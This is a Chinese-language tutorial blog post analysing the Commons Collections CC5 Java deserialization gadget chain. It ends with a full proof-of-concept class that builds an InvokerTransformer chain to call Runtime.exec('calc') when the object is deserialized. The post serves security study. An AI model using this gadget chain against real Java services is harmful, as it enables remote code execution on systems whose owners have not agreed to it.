Java安全—CommonsCollections5

139 阅读2分钟

携手创作,共同成长!这是我参与「掘金日新计划 · 8 月更文挑战」的第17天,点击查看活动详情

引子

在jdk1.8的时候Annotationinvocation的readObject方法被改写,cc1链就不适用了,cc5链是基于Lazymap类在jdk1.8使用TiedMapEntry+BadAttributeValueExpException来触发LazyMap的get方法。

TiedMapEntry类

先让我们来分析一下该类里面的一些方法。

toString方法中有个getValue()

public String toString() {
    return getKey() + "=" + getValue();
}

而在getValue()中会发现又调用了get()

 public V getValue() {
        return this.map.get(this.key);
    }

可以发现返回的是map.get()方法,联想到CC1 lazymap链的后面部分,也是需要调用lazymap的get方法,我们只需要利用构造方法把map赋给lazymap.便可以构造攻击链。

   public TiedMapEntry(Map<K, V> map, K key) {
        this.map = map;
        this.key = key;
    }

构造攻击链

然后我们寻找如何触发toString方法,会发现BadAttributeValueExpException类中的readObject()中 调用了该方法。

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);


        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
        }
    }

仔细分析一下我们便可以看到关键

 val = valObj.toString();

我们只需要要让valObj为TiedMapEntry类,现在看看要如何做,先找给valObj赋值的地方。

ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get("val", null);

调用readFields从流中读取了所有的持久化字段,然后调用get()方法得到了名字是val的字段。

    private Object val;

现在我们只需要修改val的值就可以了。

  BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        //Reflection
        Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = clazz.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);

POC

整个的POC

package com.summer.cc5;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;


import javax.management.BadAttributeValueExpException;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections5 {
    public static void main(String[] args) throws Exception{
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Class.forName("java.lang.Runtime")),
                new InvokerTransformer(
                        "getMethod",
                        new Class[]{String.class,Class[].class},
                        new Object[]{"getRuntime",new Class[0]}
                ),
                new InvokerTransformer(
                        "invoke",
                        new Class[]{Object.class,Object[].class},
                        new Object[]{null,new Object[0]}
                ),
                new InvokerTransformer(
                        "exec",
                        new Class[]{String.class},
                        new Object[]{"calc"}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, chainedTransformer);




        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"XINO");


        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);


        //Reflection
        Class clazz = Class.forName("javax.management.BadAttributeValueExpException");
        Field field = clazz.getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException,tiedMapEntry);


        byte[] bytes = serialize(badAttributeValueExpException);
        //System.out.println(System.getSecurityManager());
        unserialize(bytes);
    }
    public static void unserialize(byte[] bytes) throws Exception{
        try(ByteArrayInputStream bain = new ByteArrayInputStream(bytes);
            ObjectInputStream oin = new ObjectInputStream(bain)){
            oin.readObject();
        }
    }


    public static byte[] serialize(Object o) throws Exception{
        try(ByteArrayOutputStream baout = new ByteArrayOutputStream();
            ObjectOutputStream oout = new ObjectOutputStream(baout)){
            oout.writeObject(o);
            return baout.toByteArray();
        }
    }
}

注意

在构造链子的过程中这里需要注意的一点是

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

目的是为了防止还没反序列化就进行攻击链了。

结语

今天给大家带来的是CC5链的构造分析,也是基本按照CC1走下来的,只是后面的部分不太一样。希望大家有所收获。